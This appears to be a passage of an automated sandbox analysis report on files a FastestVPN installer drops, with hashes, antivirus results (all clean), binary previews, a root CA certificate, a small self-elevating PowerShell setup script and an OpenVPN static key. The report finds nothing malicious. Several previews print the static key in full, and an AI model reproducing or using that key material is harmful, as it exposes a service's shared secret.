                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...5A............" ..0..............;... ...@....... ..............................Ri....`.................................N;..O....@...............&...#...`......X:..T............................................ ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`.......$..............@..B.................;......H.......h....Y..........H'.......9........................................(...+*.~....*.~....*.~....*..%-.&(....*..%-.&~ ...*....0..........(!......o"......(7.......*...................0..........(!......o...+...(...+....*....................~$...%-.&~%.....&...s'...%.$....(...+*.0..D.............,:......o(.....,......o(....3.........o)....(....+.....(...+.*.0..9.......s*......}+.....},.....}-................s/... ....(B...&*....0..$........,...r...p......%.....o~......o0...*

                                                                                                                C:\Program Files\FastestVPN\Microsoft.Bcl.AsyncInterfaces.dll (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):26752
                                                                                                                Entropy (8bit):6.512503595653532
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:768:DulwnBhYlTVv2wK5idcgF4of1n6K9zUYJ:ywHYFtKYdcg/f1nXzUYJ
                                                                                                                MD5:970B6E6478AE3AB699F277D77DE0CD19
                                                                                                                SHA1:5475CB28998D419B4714343FFA9511FF46322AC2
                                                                                                                SHA-256:5DC372A10F345B1F00EC6A8FA1A2CE569F7E5D63E4F1F8631BE367E46BFA34F4
                                                                                                                SHA-512:F3AD2088C5D3FCB770C6D8212650EED95507E107A34F9468CA9DB99DEFD8838443A95E0B59A5A6CB65A18EBBC529110C5348513A321B44223F537096C6D7D6E0
                                                                                                                Malicious:false
                                                                                                                Antivirus:
                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...$:............" ..0..4...........S... ...`....... ....................................`..................................S..O....`...............@...(...........R..T............................................ ............... ..H............text....3... ...4.................. ..`.rsrc........`.......6..............@..@.reloc...............>..............@..B.................S......H........'..P*..................,R........................................(....*..(....*^.(.......1...%...}....*:.(......}....*:.(......}....*:.(......}....*:.(......}....*..(....*..(....*..(....*..(....*:.(......}....*..{....*:.(......}....*..{....*:.(......}....*..{....*..(....*:.(......}....*..{....*^.(.......2...%...}....*:.(......}....*..{....*z.(......}.......2...%...}....*V.(......}......}....*..{....*..{....*:.(......}....*..{....*..{....*"..}....*..{....*"..}....*..{

                                                                                                                C:\Program Files\FastestVPN\Microsoft.Extensions.DependencyInjection.Abstractions.dll (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):48256
                                                                                                                Entropy (8bit):6.234996524588368
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:768:AMWC5N7mKWPKz4VJ4e0jeuTGlBh0JzqPPxofk3l9z2I:Y67hCfV8j3TGlB+JsafkHzP
                                                                                                                MD5:37EB7CCE6E282D3572D64C880E1AC3C8
                                                                                                                SHA1:9A2952589A19D650932E7C633577EB9AFC04F959
                                                                                                                SHA-256:039155F155C5D14F5B73F4EE2CD1FBD9290F391B88A1D2A0BA815569205EDB74
                                                                                                                SHA-512:E3C2EF1CC52E3AA5BD77B74DEC93A4FC9E908DF823426F13CA304265D41605DE51970CC8C7E18C2E76319D3225707B2EA2D8613402A25C4FBD3951E70FCFD521
                                                                                                                Malicious:false
                                                                                                                Antivirus:
                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....v..........." ..0.................. ........... ....................................`.....................................O........................(..............T............................................ ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B.......................H........=..da..........0.................................................(....*..(....*^.(.......>...%...}....*:.(......}....*:.(......}....*:.(......}....*:.(......}....**.-..(....*..s....z.~....*...0..........(....,..*..(.....o.......&...*...................0...........(.......(....-..,..*.*.(....,.r...p......%...%...(....*..( ...*.(....,.r...p......%...%...%...(....*...(!...*.(....,!r...p......%...%...%...%...(....*....("...*..,&(....,..r...pr...p.(....(#...*..($...*.*.(.

                                                                                                                C:\Program Files\FastestVPN\Microsoft.Extensions.DependencyInjection.dll (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):88192
                                                                                                                Entropy (8bit):6.25584016939133
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:1536:0kUuBN7CjSkp9oa++t1BVryVKXDORdDeCNia6Lj4Fu/qSGnJdo0Wzs:ju/t/VryVKXeDezVLj4F/JdWQ
                                                                                                                MD5:4186A905DC180A0CC2110403727BD792
                                                                                                                SHA1:E0563D20CA7E95688A60F4BFC1AB0127EAE1F651
                                                                                                                SHA-256:40DCB80A87A762745D0A15294B5CA7783A9EAD1D93AD352D25B5EDAF4994651E
                                                                                                                SHA-512:1C3459232B41C531F01BCCE54E46799F2FB3FCD6C87D7F908C633ABCC718D9726D98E65F964B1A870D416A38F545971779054FE65F7C1299905FC7DC24FA2DEC
                                                                                                                Malicious:false
                                                                                                                Antivirus:
                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................." ..0..&..........>E... ...`....... ....................................`..................................D..O....`...............0...(...........C..T............................................ ............... ..H............text...D%... ...&.................. ..`.rsrc........`.......(..............@..@.reloc..............................@..B.................E......H........l..@...........02..0...`C........................................(....*..(....*^.(.......k...%...}....*:.(......}....*:.(......}....*:.(......}....*:.(......}....*.~....*..0..........(....,..*..(.....o ......&...*...................0...........(.......(!...-..,..*.*.(....,.r...p......%...%...("...*..(#...*.(....,.r...p......%...%...%...("...*...($...*.(....,!r...p......%...%...%...%...("...*....(%...*..,&(....,..r...pr...p.("...(&...*..('...*.*.(....,.r...p......%...

                                                                                                                C:\Program Files\FastestVPN\Newtonsoft.Json.dll (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):711952
                                                                                                                Entropy (8bit):5.967185619483575
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:12288:GBja5bBvR8Q0TE2HB0WLmvXbsVG1Gw03RzxNHgKhwFBkjSHXP36RMGy1NqTUO:GBjk38WuBcAbwoA/BkjSHXP36RMG/
                                                                                                                MD5:195FFB7167DB3219B217C4FD439EEDD6
                                                                                                                SHA1:1E76E6099570EDE620B76ED47CF8D03A936D49F8
                                                                                                                SHA-256:E1E27AF7B07EEEDF5CE71A9255F0422816A6FC5849A483C6714E1B472044FA9D
                                                                                                                SHA-512:56EB7F070929B239642DAB729537DDE2C2287BDB852AD9E80B5358C74B14BC2B2DDED910D0E3B6304EA27EB587E5F19DB0A92E1CBAE6A70FB20B4EF05057E4AC
                                                                                                                Malicious:false
                                                                                                                Antivirus:
                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...p$?..........." ..0.............B.... ........... ....................... ............`....................................O......................../.......... ...T............................................ ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B................$.......H.......x...(9............................................................(....*..(....*^.(...........%...}....*:.(......}....*:.(......}....*..(....*:.(......}....*..{....*..(....*..(....*:.(......}....*..{....*.(.........*....}.....(......{.....X.....}....*..0...........-.~....*.~....X....b...aX...X...X..+....b....aX....X.....2.....cY.....cY....cY..|....(......._..{........+,..{|....3...{{......(....,...{{...*..{}.......-..*...0...........-.r...ps....z.o......-.~....*.~....

                                                                                                                C:\Program Files\FastestVPN\Resources\Setup.Ps1 (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:ASCII text, with CRLF line terminators
                                                                                                                Category:dropped
                                                                                                                Size (bytes):359
                                                                                                                Entropy (8bit):5.09733291062762
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:6:i4Z2TyUdkl9WUyUdkwc1+XMoHkyUdk3LASg0TqeXMFXA98XfFZ/FvjCzISMOmEm:jZELklIULktkXxELk35q0MhA98vFZ/FV
                                                                                                                MD5:777B3CBF81DDD8B238BDEDDDEA17AFED
                                                                                                                SHA1:C72F46715DCBC9BDA1E2BEEAC8AF2A64E7B48D08
                                                                                                                SHA-256:DACE14B4A5268728E67A9E78D8F0877F4C87F6B87DDD40DFF28A11E9E42945CF
                                                                                                                SHA-512:5C6D302F93381EBF65ADD3DAA0EB4813270C5D9A042AD9B8A48A575ADC4E751D3834292BB61AEF6A5458036AE6E3C83C8EDFAE5CF828D81317ACAE6675B8E619
                                                                                                                Malicious:false
                                                                                                                Preview:If (-NOT ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator"))..{ ..$arguments = "& '" + $myinvocation.mycommand.definition + "'"..Start-Process powershell -Verb runAs -ArgumentList $arguments..Break..}.. Set-NetConnectionProfile -NetworkCategory Private

                                                                                                                C:\Program Files\FastestVPN\Resources\data\ca1.ca (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PEM certificate
                                                                                                                Category:dropped
                                                                                                                Size (bytes):1912
                                                                                                                Entropy (8bit):6.013187457463572
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:48:LrZOGn3n3+NKHqtdSLuARqhs9WWRR21mB4LearXRvW:Lrz3nnYhhfwc1eCearhvW
                                                                                                                MD5:94F25D41487F654EF2371FA92544003C
                                                                                                                SHA1:41A561AA773A21C240F74AF4F14DB7FB2479F630
                                                                                                                SHA-256:E6A1EEFBCA63DDCE20065B080C202BF63686F473B91F2C64461434AFD071018C
                                                                                                                SHA-512:281DCBF7852E3B81B3E09A889045C2B4357F684B4F511835A874BC98DEC7D4A77AD1EC1C0FE1D55D9616670278715FBFE9772F2518C3861933F6C392B6A939A4
                                                                                                                Malicious:false
                                                                                                                Preview:-----BEGIN CERTIFICATE-----..MIIFQjCCAyqgAwIBAgIIUfxepT+rr8owDQYJKoZIhvcNAQEMBQAwPzELMAkGA1UE..BhMCS1kxEzARBgNVBAoTCkZhc3Rlc3RWUE4xGzAZBgNVBAMTEkZhc3Rlc3RWUE4g..Um9vdCBDQTAeFw0xNzA5MTYwMDAxNDZaFw0yNzA5MTQwMDAxNDZaMD8xCzAJBgNV..BAYTAktZMRMwEQYDVQQKEwpGYXN0ZXN0VlBOMRswGQYDVQQDExJGYXN0ZXN0VlBO..IFJvb3QgQ0EwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQC1Xj+WfPTo..zFynFqc+c3CVrggIllaXEl5bY5VgFynXkqCTM6lSrfC4pNjGXUbqWe6RnGJbM4/6..kUn+lQDjFSQV1rzP2eDS8+r5+X2WXh4AoeNRUWhvSG+HiHD/B2EFK+Nd5BRSdUjp..KWAtsCmT2bBt7nT0jN1OdeNrLJeyF8siAqv/oQzKznF9aIe/N01b2M8ZOFTzoXi2..fZAckgGWui8NB/lzkVIJqSkAPRL8qiJLuRCPVOX1PFD8vV//R8/QumtfbcYBMo6v..Ck2HmWdrh5OQHPxb3KJtbtG+Z1j8x6HGEAe17djYepBiRMyCEQvYgfD6tvFylc4I..quhqE9yaP60PJod5TxpWnRQ6HIGSeBm+S+rYSMalTZ8+pUqOOA+IQCYpfpx6EKIJ..L/VsW2C7cXdvudxDhXPI5lR/QidCb9Ohq3WkfxXaYwzrngdg2avmNqId9R4KESuM..9GoHW0dszfyBCh5wYfeaffMElfDam3B92NUwyhZwtIiv623WVXY9PPz+EDjSJsIA..u2Vi1vdJyA4nD4k9Lwmx/1zTc/UaYVLsiBqL2WdfvFTeoWoV+dNxQXSEPhB8gwi8..x4O4lZW0cwVy/6fa8KMY8gZbcbSTr7U5bRERfW8l+jY+mYK

                                                                                                                C:\Program Files\FastestVPN\Resources\data\ca2.ca (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PEM certificate
                                                                                                                Category:dropped
                                                                                                                Size (bytes):1912
                                                                                                                Entropy (8bit):6.013187457463572
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:48:LrZOGn3n3+NKHqtdSLuARqhs9WWRR21mB4LearXRvW:Lrz3nnYhhfwc1eCearhvW
                                                                                                                MD5:94F25D41487F654EF2371FA92544003C
                                                                                                                SHA1:41A561AA773A21C240F74AF4F14DB7FB2479F630
                                                                                                                SHA-256:E6A1EEFBCA63DDCE20065B080C202BF63686F473B91F2C64461434AFD071018C
                                                                                                                SHA-512:281DCBF7852E3B81B3E09A889045C2B4357F684B4F511835A874BC98DEC7D4A77AD1EC1C0FE1D55D9616670278715FBFE9772F2518C3861933F6C392B6A939A4
                                                                                                                Malicious:false
                                                                                                                Preview:-----BEGIN CERTIFICATE-----..MIIFQjCCAyqgAwIBAgIIUfxepT+rr8owDQYJKoZIhvcNAQEMBQAwPzELMAkGA1UE..BhMCS1kxEzARBgNVBAoTCkZhc3Rlc3RWUE4xGzAZBgNVBAMTEkZhc3Rlc3RWUE4g..Um9vdCBDQTAeFw0xNzA5MTYwMDAxNDZaFw0yNzA5MTQwMDAxNDZaMD8xCzAJBgNV..BAYTAktZMRMwEQYDVQQKEwpGYXN0ZXN0VlBOMRswGQYDVQQDExJGYXN0ZXN0VlBO..IFJvb3QgQ0EwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQC1Xj+WfPTo..zFynFqc+c3CVrggIllaXEl5bY5VgFynXkqCTM6lSrfC4pNjGXUbqWe6RnGJbM4/6..kUn+lQDjFSQV1rzP2eDS8+r5+X2WXh4AoeNRUWhvSG+HiHD/B2EFK+Nd5BRSdUjp..KWAtsCmT2bBt7nT0jN1OdeNrLJeyF8siAqv/oQzKznF9aIe/N01b2M8ZOFTzoXi2..fZAckgGWui8NB/lzkVIJqSkAPRL8qiJLuRCPVOX1PFD8vV//R8/QumtfbcYBMo6v..Ck2HmWdrh5OQHPxb3KJtbtG+Z1j8x6HGEAe17djYepBiRMyCEQvYgfD6tvFylc4I..quhqE9yaP60PJod5TxpWnRQ6HIGSeBm+S+rYSMalTZ8+pUqOOA+IQCYpfpx6EKIJ..L/VsW2C7cXdvudxDhXPI5lR/QidCb9Ohq3WkfxXaYwzrngdg2avmNqId9R4KESuM..9GoHW0dszfyBCh5wYfeaffMElfDam3B92NUwyhZwtIiv623WVXY9PPz+EDjSJsIA..u2Vi1vdJyA4nD4k9Lwmx/1zTc/UaYVLsiBqL2WdfvFTeoWoV+dNxQXSEPhB8gwi8..x4O4lZW0cwVy/6fa8KMY8gZbcbSTr7U5bRERfW8l+jY+mYK

                                                                                                                C:\Program Files\FastestVPN\Resources\data\is-1BLF6.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PEM certificate
                                                                                                                Category:dropped
                                                                                                                Size (bytes):1912
                                                                                                                Entropy (8bit):6.013187457463572
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:48:LrZOGn3n3+NKHqtdSLuARqhs9WWRR21mB4LearXRvW:Lrz3nnYhhfwc1eCearhvW
                                                                                                                MD5:94F25D41487F654EF2371FA92544003C
                                                                                                                SHA1:41A561AA773A21C240F74AF4F14DB7FB2479F630
                                                                                                                SHA-256:E6A1EEFBCA63DDCE20065B080C202BF63686F473B91F2C64461434AFD071018C
                                                                                                                SHA-512:281DCBF7852E3B81B3E09A889045C2B4357F684B4F511835A874BC98DEC7D4A77AD1EC1C0FE1D55D9616670278715FBFE9772F2518C3861933F6C392B6A939A4
                                                                                                                Malicious:false
                                                                                                                Preview:-----BEGIN CERTIFICATE-----..MIIFQjCCAyqgAwIBAgIIUfxepT+rr8owDQYJKoZIhvcNAQEMBQAwPzELMAkGA1UE..BhMCS1kxEzARBgNVBAoTCkZhc3Rlc3RWUE4xGzAZBgNVBAMTEkZhc3Rlc3RWUE4g..Um9vdCBDQTAeFw0xNzA5MTYwMDAxNDZaFw0yNzA5MTQwMDAxNDZaMD8xCzAJBgNV..BAYTAktZMRMwEQYDVQQKEwpGYXN0ZXN0VlBOMRswGQYDVQQDExJGYXN0ZXN0VlBO..IFJvb3QgQ0EwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQC1Xj+WfPTo..zFynFqc+c3CVrggIllaXEl5bY5VgFynXkqCTM6lSrfC4pNjGXUbqWe6RnGJbM4/6..kUn+lQDjFSQV1rzP2eDS8+r5+X2WXh4AoeNRUWhvSG+HiHD/B2EFK+Nd5BRSdUjp..KWAtsCmT2bBt7nT0jN1OdeNrLJeyF8siAqv/oQzKznF9aIe/N01b2M8ZOFTzoXi2..fZAckgGWui8NB/lzkVIJqSkAPRL8qiJLuRCPVOX1PFD8vV//R8/QumtfbcYBMo6v..Ck2HmWdrh5OQHPxb3KJtbtG+Z1j8x6HGEAe17djYepBiRMyCEQvYgfD6tvFylc4I..quhqE9yaP60PJod5TxpWnRQ6HIGSeBm+S+rYSMalTZ8+pUqOOA+IQCYpfpx6EKIJ..L/VsW2C7cXdvudxDhXPI5lR/QidCb9Ohq3WkfxXaYwzrngdg2avmNqId9R4KESuM..9GoHW0dszfyBCh5wYfeaffMElfDam3B92NUwyhZwtIiv623WVXY9PPz+EDjSJsIA..u2Vi1vdJyA4nD4k9Lwmx/1zTc/UaYVLsiBqL2WdfvFTeoWoV+dNxQXSEPhB8gwi8..x4O4lZW0cwVy/6fa8KMY8gZbcbSTr7U5bRERfW8l+jY+mYK

                                                                                                                C:\Program Files\FastestVPN\Resources\data\is-J94KH.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:ASCII text, with CRLF line terminators
                                                                                                                Category:dropped
                                                                                                                Size (bytes):618
                                                                                                                Entropy (8bit):4.532694766524299
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:12:LrkTt/+xYnhEKMhS64Ar24EgJroQXj2OrcV7TdRwPXYGFc6895C1v:LrkTtcYnhEKoP4AK4EgJkCj2OrnoGFFx
                                                                                                                MD5:005BF2A1B29FB74EF9ED7402A69D5CD5
                                                                                                                SHA1:ADEFC73E4B4F34F304E78FD4DB2D3B6AD09C6AF7
                                                                                                                SHA-256:F7FE79400908B148EB8E8AF16B0F1AFDF7CBCD33DCE23F96177473D0BF11DAFF
                                                                                                                SHA-512:381CA1E2146A66D1ACC46F7E9F9081962BB96014C10EB5AA0AE60478B8DD902F1975D63AEE18675B95A71D90594338753D8C91CD21ED0939237562E61D0D3D69
                                                                                                                Malicious:false
                                                                                                                Preview:-----BEGIN OpenVPN Static key V1-----..697fe793b32cb5091d30f2326d5d124a..9412e93d0a44ef7361395d76528fcbfc..82c3859dccea70a93cfa8fae409709bf..f75f844cf5ff0c237f426d0c20969233..db0e706edb6bdf195ec3dc11b3f76bc8..07a77e74662d9a800c8cd1144ebb67b7..f0d3f1281d1baf522bfe03b7c3f963b1..364fc0769400e413b61ca7b43ab19fac..9e0f77e41efd4bda7fd77b1de2d7d785..5cbbe3e620cecceac72c21a825b243e6..51f44d90e290e09c3ad650de8fca99c8..58bc7caad584bc69b11e5c9fd9381c69..c505ec487a65912c672d83ed0113b5a7..4ddfbd3ab33b3683cec593557520a72c..4d6cce46111f56f3396cc3ce7183edce..553c68ea0796cf6c4375fad00aaa2a42..-----END OpenVPN Static key V1-----

                                                                                                                C:\Program Files\FastestVPN\Resources\data\is-KM2CD.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PEM certificate
                                                                                                                Category:dropped
                                                                                                                Size (bytes):1912
                                                                                                                Entropy (8bit):6.013187457463572
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:48:LrZOGn3n3+NKHqtdSLuARqhs9WWRR21mB4LearXRvW:Lrz3nnYhhfwc1eCearhvW
                                                                                                                MD5:94F25D41487F654EF2371FA92544003C
                                                                                                                SHA1:41A561AA773A21C240F74AF4F14DB7FB2479F630
                                                                                                                SHA-256:E6A1EEFBCA63DDCE20065B080C202BF63686F473B91F2C64461434AFD071018C
                                                                                                                SHA-512:281DCBF7852E3B81B3E09A889045C2B4357F684B4F511835A874BC98DEC7D4A77AD1EC1C0FE1D55D9616670278715FBFE9772F2518C3861933F6C392B6A939A4
                                                                                                                Malicious:false
                                                                                                                Preview:-----BEGIN CERTIFICATE-----..MIIFQjCCAyqgAwIBAgIIUfxepT+rr8owDQYJKoZIhvcNAQEMBQAwPzELMAkGA1UE..BhMCS1kxEzARBgNVBAoTCkZhc3Rlc3RWUE4xGzAZBgNVBAMTEkZhc3Rlc3RWUE4g..Um9vdCBDQTAeFw0xNzA5MTYwMDAxNDZaFw0yNzA5MTQwMDAxNDZaMD8xCzAJBgNV..BAYTAktZMRMwEQYDVQQKEwpGYXN0ZXN0VlBOMRswGQYDVQQDExJGYXN0ZXN0VlBO..IFJvb3QgQ0EwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQC1Xj+WfPTo..zFynFqc+c3CVrggIllaXEl5bY5VgFynXkqCTM6lSrfC4pNjGXUbqWe6RnGJbM4/6..kUn+lQDjFSQV1rzP2eDS8+r5+X2WXh4AoeNRUWhvSG+HiHD/B2EFK+Nd5BRSdUjp..KWAtsCmT2bBt7nT0jN1OdeNrLJeyF8siAqv/oQzKznF9aIe/N01b2M8ZOFTzoXi2..fZAckgGWui8NB/lzkVIJqSkAPRL8qiJLuRCPVOX1PFD8vV//R8/QumtfbcYBMo6v..Ck2HmWdrh5OQHPxb3KJtbtG+Z1j8x6HGEAe17djYepBiRMyCEQvYgfD6tvFylc4I..quhqE9yaP60PJod5TxpWnRQ6HIGSeBm+S+rYSMalTZ8+pUqOOA+IQCYpfpx6EKIJ..L/VsW2C7cXdvudxDhXPI5lR/QidCb9Ohq3WkfxXaYwzrngdg2avmNqId9R4KESuM..9GoHW0dszfyBCh5wYfeaffMElfDam3B92NUwyhZwtIiv623WVXY9PPz+EDjSJsIA..u2Vi1vdJyA4nD4k9Lwmx/1zTc/UaYVLsiBqL2WdfvFTeoWoV+dNxQXSEPhB8gwi8..x4O4lZW0cwVy/6fa8KMY8gZbcbSTr7U5bRERfW8l+jY+mYK

                                                                                                                C:\Program Files\FastestVPN\Resources\data\is-O67AC.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:ASCII text, with CRLF line terminators
                                                                                                                Category:dropped
                                                                                                                Size (bytes):618
                                                                                                                Entropy (8bit):4.532694766524299
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:12:LrkTt/+xYnhEKMhS64Ar24EgJroQXj2OrcV7TdRwPXYGFc6895C1v:LrkTtcYnhEKoP4AK4EgJkCj2OrnoGFFx
                                                                                                                MD5:005BF2A1B29FB74EF9ED7402A69D5CD5
                                                                                                                SHA1:ADEFC73E4B4F34F304E78FD4DB2D3B6AD09C6AF7
                                                                                                                SHA-256:F7FE79400908B148EB8E8AF16B0F1AFDF7CBCD33DCE23F96177473D0BF11DAFF
                                                                                                                SHA-512:381CA1E2146A66D1ACC46F7E9F9081962BB96014C10EB5AA0AE60478B8DD902F1975D63AEE18675B95A71D90594338753D8C91CD21ED0939237562E61D0D3D69
                                                                                                                Malicious:false
                                                                                                                Preview:-----BEGIN OpenVPN Static key V1-----..697fe793b32cb5091d30f2326d5d124a..9412e93d0a44ef7361395d76528fcbfc..82c3859dccea70a93cfa8fae409709bf..f75f844cf5ff0c237f426d0c20969233..db0e706edb6bdf195ec3dc11b3f76bc8..07a77e74662d9a800c8cd1144ebb67b7..f0d3f1281d1baf522bfe03b7c3f963b1..364fc0769400e413b61ca7b43ab19fac..9e0f77e41efd4bda7fd77b1de2d7d785..5cbbe3e620cecceac72c21a825b243e6..51f44d90e290e09c3ad650de8fca99c8..58bc7caad584bc69b11e5c9fd9381c69..c505ec487a65912c672d83ed0113b5a7..4ddfbd3ab33b3683cec593557520a72c..4d6cce46111f56f3396cc3ce7183edce..553c68ea0796cf6c4375fad00aaa2a42..-----END OpenVPN Static key V1-----

                                                                                                                C:\Program Files\FastestVPN\Resources\data\tcp.tls (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:ASCII text, with CRLF line terminators
                                                                                                                Category:dropped
                                                                                                                Size (bytes):618
                                                                                                                Entropy (8bit):4.532694766524299
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:12:LrkTt/+xYnhEKMhS64Ar24EgJroQXj2OrcV7TdRwPXYGFc6895C1v:LrkTtcYnhEKoP4AK4EgJkCj2OrnoGFFx
                                                                                                                MD5:005BF2A1B29FB74EF9ED7402A69D5CD5
                                                                                                                SHA1:ADEFC73E4B4F34F304E78FD4DB2D3B6AD09C6AF7
                                                                                                                SHA-256:F7FE79400908B148EB8E8AF16B0F1AFDF7CBCD33DCE23F96177473D0BF11DAFF
                                                                                                                SHA-512:381CA1E2146A66D1ACC46F7E9F9081962BB96014C10EB5AA0AE60478B8DD902F1975D63AEE18675B95A71D90594338753D8C91CD21ED0939237562E61D0D3D69
                                                                                                                Malicious:false
                                                                                                                Preview:-----BEGIN OpenVPN Static key V1-----..697fe793b32cb5091d30f2326d5d124a..9412e93d0a44ef7361395d76528fcbfc..82c3859dccea70a93cfa8fae409709bf..f75f844cf5ff0c237f426d0c20969233..db0e706edb6bdf195ec3dc11b3f76bc8..07a77e74662d9a800c8cd1144ebb67b7..f0d3f1281d1baf522bfe03b7c3f963b1..364fc0769400e413b61ca7b43ab19fac..9e0f77e41efd4bda7fd77b1de2d7d785..5cbbe3e620cecceac72c21a825b243e6..51f44d90e290e09c3ad650de8fca99c8..58bc7caad584bc69b11e5c9fd9381c69..c505ec487a65912c672d83ed0113b5a7..4ddfbd3ab33b3683cec593557520a72c..4d6cce46111f56f3396cc3ce7183edce..553c68ea0796cf6c4375fad00aaa2a42..-----END OpenVPN Static key V1-----

                                                                                                                C:\Program Files\FastestVPN\Resources\data\udp.tls (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:ASCII text, with CRLF line terminators
                                                                                                                Category:dropped
                                                                                                                Size (bytes):618
                                                                                                                Entropy (8bit):4.532694766524299
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:12:LrkTt/+xYnhEKMhS64Ar24EgJroQXj2OrcV7TdRwPXYGFc6895C1v:LrkTtcYnhEKoP4AK4EgJkCj2OrnoGFFx
                                                                                                                MD5:005BF2A1B29FB74EF9ED7402A69D5CD5
                                                                                                                SHA1:ADEFC73E4B4F34F304E78FD4DB2D3B6AD09C6AF7
                                                                                                                SHA-256:F7FE79400908B148EB8E8AF16B0F1AFDF7CBCD33DCE23F96177473D0BF11DAFF
                                                                                                                SHA-512:381CA1E2146A66D1ACC46F7E9F9081962BB96014C10EB5AA0AE60478B8DD902F1975D63AEE18675B95A71D90594338753D8C91CD21ED0939237562E61D0D3D69
                                                                                                                Malicious:false
                                                                                                                Preview:-----BEGIN OpenVPN Static key V1-----..697fe793b32cb5091d30f2326d5d124a..9412e93d0a44ef7361395d76528fcbfc..82c3859dccea70a93cfa8fae409709bf..f75f844cf5ff0c237f426d0c20969233..db0e706edb6bdf195ec3dc11b3f76bc8..07a77e74662d9a800c8cd1144ebb67b7..f0d3f1281d1baf522bfe03b7c3f963b1..364fc0769400e413b61ca7b43ab19fac..9e0f77e41efd4bda7fd77b1de2d7d785..5cbbe3e620cecceac72c21a825b243e6..51f44d90e290e09c3ad650de8fca99c8..58bc7caad584bc69b11e5c9fd9381c69..c505ec487a65912c672d83ed0113b5a7..4ddfbd3ab33b3683cec593557520a72c..4d6cce46111f56f3396cc3ce7183edce..553c68ea0796cf6c4375fad00aaa2a42..-----END OpenVPN Static key V1-----

                                                                                                                C:\Program Files\FastestVPN\Resources\devcon.exe (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32+ executable (console) x86-64, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):93832
                                                                                                                Entropy (8bit):5.48517352660103
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:1536:kP2K0pa0WfEYp9Y/XQhpgnbP212YCJpDhiF4O7WGHK/CT:kePOYe4bu1epDh8RWGHK/M
                                                                                                                MD5:A2ADF4897942B99FE0738F8C37FD15C0
                                                                                                                SHA1:4192A2221F5C48A16427BF1898C0443CA27A29BB
